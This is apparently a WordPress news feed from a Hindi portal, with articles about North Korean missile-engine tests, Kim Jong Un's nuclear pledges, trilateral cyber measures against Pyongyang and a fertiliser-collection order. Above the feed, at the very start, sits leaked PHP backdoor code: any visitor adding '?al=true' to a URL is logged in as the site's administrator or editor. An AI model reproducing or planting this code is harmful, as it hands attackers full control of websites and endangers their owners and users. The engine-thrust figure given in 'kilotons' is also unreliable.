// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Kim Jong – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 29 Mar 2026 08:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 किम जोंग ने किया नए सुपर पावर मिसाइल इंजन का सफल परीक्षण, अमेरिका भी रहेगा जद में https://pratyushaashakinayikiran.com/?p=208727 Sun, 29 Mar 2026 08:35:00 +0000 https://pratyushaashakinayikiran.com/?p=208727 फियोंगयांग

उत्तर कोरियाई तानाशाह किम जोंग उन ने एक बार फिर दुनिया, खासकर अमेरिका की धड़कनें बढ़ा दी हैं. सरकारी मीडिया (KCNA) के अनुसार, रविवार को उत्तर कोरिया ने एक उच्च-क्षमता वाले ठोस-ईंधन (Solid-Fuel) इंजन का सफल परीक्षण किया है। 

इस नए इंजन की मदद से उत्तर कोरिया अब ऐसी मिसाइलें विकसित करने की ओर अग्रसर है, जो सीधे अमेरिकी को अपना निशाना बना सकती हैं. किम जोंग उन ने इस 'ग्राउंड जेट टेस्ट' का खुद निरीक्षण किया. रिपोर्ट के मुताबिक, इस नए अपग्रेड किए गए इंजन में कंपोजिट कार्बन फाइबर सामग्री का उपयोग किया गया है। 

इस इंजन की अधिकतम क्षमता 2,500 किलोटन मापी गई है, जो पिछले सितंबर में हुए परीक्षण (1,971 किलोटन) से कहीं अधिक है. रक्षा विशेषज्ञों का मानना है कि इंजन की शक्ति बढ़ाने का मुख्य उद्देश्य एक ही मिसाइल पर मल्टीपल वॉरहेड्स (कई हथियार) तैनात करना है, ताकि अमेरिकी रक्षा प्रणालियों को आसानी से चकमा दिया जा सके। 

यह परीक्षण किम जोंग उन के उस भाषण के ठीक बाद आया है, जिसमें उन्होंने उत्तर कोरिया को एक 'अपरिवर्तनीय' परमाणु शक्ति घोषित किया था. किम ने अमेरिका पर "वैश्विक आतंकवाद और आक्रामकता" का आरोप लगाते हुए मध्य पूर्व के युद्ध का भी संदर्भ दिया. उन्होंने कहा कि यह परीक्षण देश की सामरिक सैन्य शक्ति को मजबूत स्तर पर ले जाने के लिए "अत्यधिक जरूरी" है। 

मिसाइल की खासियत
उत्तर कोरिया लगातार अपनी ICBM (इंटरकॉन्टिनेंटल बैलिस्टिक मिसाइल) तकनीक को आधुनिक बना रहा है. ठोस-ईंधन वाली मिसाइलों का सबसे बड़ा खतरा यह है कि इन्हें लॉन्च करने से पहले इंटरसेप्ट होने की संभावना बहुत कम होती है, क्योंकि इनमें तरल ईंधन की तरह लंबी तैयारी की जरूरत नहीं पड़ती. यह उत्तर कोरिया के पांच साल के सैन्य विस्तार कार्यक्रम का हिस्सा है। 

उत्तर कोरिया का यह कदम ऐसे समय पर सामने आया है जब दुनिया पहले से ही कई बड़े संघर्षों से जूझ रही है. इस परीक्षण से अमेरिका और उसके सहयोगी देशों के साथ तनाव और बढ़ सकता है। 

विशेषज्ञों का कहना है कि अगर उत्तर कोरिया अपनी मिसाइल तकनीक को और उन्नत करता है, तो यह वैश्विक सुरक्षा के लिए नई चुनौती बन सकता है. खासकर मल्टीपल वारहेड क्षमता और सॉलिड-फ्यूल टेक्नोलॉजी, मिसाइल डिफेंस सिस्टम के लिए बड़ी चुनौती साबित हो सकती है। 

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उ.कोरियाई नेता किम ने अमेरिका से युद्ध के लिए अपनी परमाणु शक्ति तैयार रखने का संकल्प लिया https://pratyushaashakinayikiran.com/?p=68864 Wed, 11 Sep 2024 10:26:00 +0000 https://pratyushaashakinayikiran.com/?p=68864 सियोल
उत्तर कोरिया के नेता किम जोंग उन ने अमेरिका और उसके सहयोगियों के साथ युद्ध के लिए अपनी परमाणु शक्ति को पूरी तरह तैयार करने के प्रयासों को दोगुना करने का संकल्प लिया है। सरकारी मीडिया ने यह जानकारी दी।

उत्तर कोरिया ने एक नए ‘प्लेटफार्म’ का खुलासा किया है, जो संभवतः अमेरिका के मुख्य भूभाग को निशाना बनाने में सक्षम अधिक शक्तिशाली अंतरमहाद्वीपीय ‘बैलिस्टिक मिसाइलों’ को दागने के लिए बनाया गया है।

किम की यह धमकी ऐसे समय में आई हैं जब बाहरी विशेषज्ञों का मानना है कि नवंबर में होने वाले अमेरिकी राष्ट्रपति चुनाव से पहले किम उकसावे के तौर पर हथियारों का परीक्षण करेंगे। हाल ही में उत्तर कोरिया ने दक्षिण कोरिया की ओर कचरा ले जाने वाले गुब्बारों को छोड़ना भी फिर से शुरू कर दिया है।

सोमवार को अपनी सरकार की 76वीं स्थापना वर्षगांठ के अवसर पर दिए गए भाषण में किम ने कहा कि उत्तर कोरिया को ‘‘गंभीर खतरा’’ है। उन्होंने अमेरिका के नेतृत्व वाले क्षेत्रीय सैन्य गुट को परमाणु-आधारित गुट में तब्दील होने वाला बताया। आधिकारिक ‘कोरियन सेंट्रल न्यूज एजेंसी’ (केसीएनए) के अनुसार, किम ने कहा कि इस तरह का घटनाक्रम उत्तर कोरिया को अपनी सैन्य क्षमता बढ़ाने के लिए प्रेरित करता है।

केसीएनए के अनुसार, किम ने कहा कि उत्तर कोरिया ‘‘परमाणु शक्ति सहित देश के सभी सशस्त्र बलों को युद्ध के लिए पूरी तरह तैयार करने के लिए अपने उपायों और प्रयासों को दोगुना करेगा।’’ उत्तर कोरिया के मुख्य रोडोंग सिनमुन अखबार ने रविवार को किम की एक तस्वीर प्रकाशित की जिसमें वह 12-एक्सल मिसाइल प्रक्षेपण यान का निरीक्षण करते दिखायी दे रहे थे।

 

 

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एक साथ आए अमेरिका, जापान और दक्षिण कोरिया, क्या उत्तर कोरिया में तख्तापलट की तैयारी? https://pratyushaashakinayikiran.com/?p=67611 Sun, 08 Sep 2024 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=67611 वॉशिंगटन
अमेरिका, जापान और दक्षिण कोरिया ने उत्तर कोरिया के खिलाफ साइबर वारफेयर शुरू करने का फैसला किया है। इसमें किम जोंग उन के खिलाफ उत्तर कोरियाई नागरिकों में विद्रोह की भावना भरने का काम भी किया जाएगा। इसके अलावा उत्तर कोरियाई हैकर्स के खिलाफ भी एक मल्टीनेशनल साइबर एक्शन प्लान को लागू किया जाएगा। इसका प्राथमिक उद्देश्य उत्तर कोरिया के साइबर फ्रॉड के जरिए कमाई करने के रास्ते को बंद करना है। पश्चिमी देशों का दावा है कि उत्तर कोरिया दुनिया का सबसे बड़ा साइबर फ्रॉड सेंटर चलाता है, जिसे हैकर्स की एक भारी-भरकम टीम अंजाम देती है। इन पैसों का इस्तेमाल किम जोंग उन और उनके परिवार पर किया जाता है।
उत्तर कोरियाई साइबर फ्रॉड रोकने पर सहमति

अमेरिकी विदेश विभाग ने कहा कि तीनों देशों के राजनयिकों की तीसरी बैठक में साइबर फ्रॉड के जरिए पैसे इकट्ठा करने और उसे सैन्य खर्च में इस्तेमाल करने की उत्तर कोरिया की क्षमता को बाधित करने पर सहमति बनी है। यह बैठक तब हुई है, जब एफबीआई ने अमेरिकी प्रशासन को चेतावनी दी थी कि उत्तर कोरियाई हैकर्स की टीमें पैसे चुराने के लिए मैलवेयर का इस्तेमाल कर रही हैं। इसके लिए वे बैंकों, दूसरे वित्तीय संस्थानों और कंपनियों को निशाना बना रही हैं। वे क्रिप्टोकरेंसी व्यवसायों और प्लेटफार्मों में घुसपैठ करने का आक्रामक प्रयास भी कर रहे हैं।

बैठक में कौन-कौन हुए शामिल

तीनों देशों की इस बैठक का नेतृत्व सियोल के विदेश मंत्रालय में कोरियाई प्रायद्वीप नीति के डायरेक्टर जनरल ली जुन-इल, उत्तर कोरिया के लिए अमेरिकी उप विशेष प्रतिनिधि सेठ बेली और साइबर नीति के प्रभारी जापानी राजदूत नाओकी कुमागाई ने किया। कार्य समूह में लगभग 20 अमेरिकी, दक्षिण कोरियाई और जापानी सरकारी विभागों, मंत्रालयों और एजेंसियों के एजेंट शामिल थे।

उत्तर कोरिया के खिलाफ चलाएंगे इंफॉर्मेशन वारफेयर

अमेरिकी विदेश विभाग ने बताया, "वर्किंग ग्रुप के माध्यम से, अमेरिका, दक्षिण कोरिया और जापान तीनों देश एक साथ मिलकर कार्रवाइयों की एक लंबी सीरीज पर काम करना जारी रखेंगे, जो कैंप डेविड शिखर सम्मेलन में स्थापित ऐतिहासिक सहयोग को रेखांकित करता है। इसमें डीपीआरके (उत्तर कोरिया) के क्रिप्टोकरेंसी की चोरी को रोकने, उनके इंफॉर्मेशन टेक्नोलॉजी नेटवर्क को जाम करने, उत्तर कोरिया से पैदा होने वाले साइबर खतरे को खत्म करने को लेकर भागीदारों के साथ काम करने और क्षमता निर्माण के प्रयासों को बढ़ाने पर जोर दिया गया।"

किम जोंग पर निशाना साधेंगे तीनों देश

तीनों देश उत्तर कोरियाई लोगों के बीच सूचनाओं की पहुंच को सुगम करने, उन्हें दुनिया में हो रही घटनाओं की जानकारी देने और किम जोंग उन शासन के खिलाफ उकसाने को लेकर भी काम करेंगे। इसका उद्देश्य उत्तर कोरियाई नागरिकों को किम जोंग के शासन के खिलाफ उकसाना है, ताकि वह तानाशाही के खिलाफ आवाज उठा सकें। वर्तमान में एशिया में सिर्फ उत्तर कोरिया ही ऐसा देश है, जहां तानाशाही शासन है।

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उत्तर कोरिया के तानाशाह ने जनता को 10 किलो मल बटोरने का दिया आदेश, जानें वजह https://pratyushaashakinayikiran.com/?p=46579 Sun, 30 Jun 2024 09:09:00 +0000 https://pratyushaashakinayikiran.com/?p=46579 प्योंगयांग
 उत्तर कोरिया दुनिया को अपनी ऐसी तस्वीर दिखाता है, जिससे लगता है कि यहां हर तरफ खुशहाली ही खुशहाली है। हाल ही में जब रूसी राष्ट्रपति पुतिन ने उत्तर कोरिया का दौरा किया था तब उनका भव्य स्वागत हुआ था। उनके स्वागत की तस्वीरों को देख कर ऐसा लगता है, जैसे उत्तर कोरिया में सबकुछ परफेक्ट है। लेकिन उत्तर कोरिया एक बड़े खाद संकट से जूझ रहा है। इस कारण फसलों को बड़ा नुकसान हो सकता है। इस बीच उत्तर कोरियाई तानाशाह किम जोंग उन ने खाद संकट दूर करने के लिए एक अजीबोगरीब आदेश दिया है।

किम जोंग ने उत्तर कोरियाई लोगों को अपना मल इकट्ठा करने को कहा है, ताकि फसलों के लिए खाद की कमी पूरा की जा सके। तानाशाह चाहता है कि हर नागरिक 10 किलोग्राम मल इकट्ठा करके करीबी खाद की फैक्टरी को दे। किम जोंग का यह आदेश तब आया है, जब कुछ दिनों पहले उत्तर कोरिया की ओर से मल से भरे गुब्बारे दक्षिण कोरिया में भेजे जा रहे थे। उत्तर कोरिया के लोग तानाशाह के इस आदेश से परेशान है। क्योंकि आमतौर पर इस तरह का आदेश सर्दियों में दिया जाता है।

आदेश से बचने का है तरीका

उत्तर कोरिया में आयात किए गए खाद की कमी है और किम जों उन की कृषि प्रथम पहल है, जिसके लिए गर्मी में मल का संग्रह शुरू किया गया है। हालांकि उत्तर कोरिया के लोग जो ऐसा नहीं करना चाहते वह कुछ पैसे खर्च कर इससे बच सकते हैं। द सन की रिपोर्ट के मुताबिक रयांगगांग प्रांत के एक निवासी ने कहा कि मल इकट्ठा करने से बचने के लिए 5000 वॉन लगभग 500 रुपए देने पड़ेंगे, जो कई गरीब स्थानीय लोगों के लिए एक बड़ी रकम है।

मल को सुखाने का आदेश

उसने आगे कहा कि लोगों को स्थानीय स्तर पर पार्टी मीटिंग में मानव अपशिष्ट सुखाने का आदेश दे दिया गया है। इस आदेश को सुन कर निवासी अपनी हैरानी नहीं छिपा सके। लोगों ने अपनी नाराजगी जाहिर की कि यह पहली बार है, जब गर्मियों में उन्हें ऐसा करने को कहा जा रहा है। इस मौसम में गंदगी और मक्खियां होती हैं। वहीं कई लोगों ने इस बात पर नाराजगी जताई कि जो लोग एक घर में रहते हैं वह ऐसा कर सकते हैं। लेकिन अपार्टमेंट में रहने वाले लोग क्या करेंगे?

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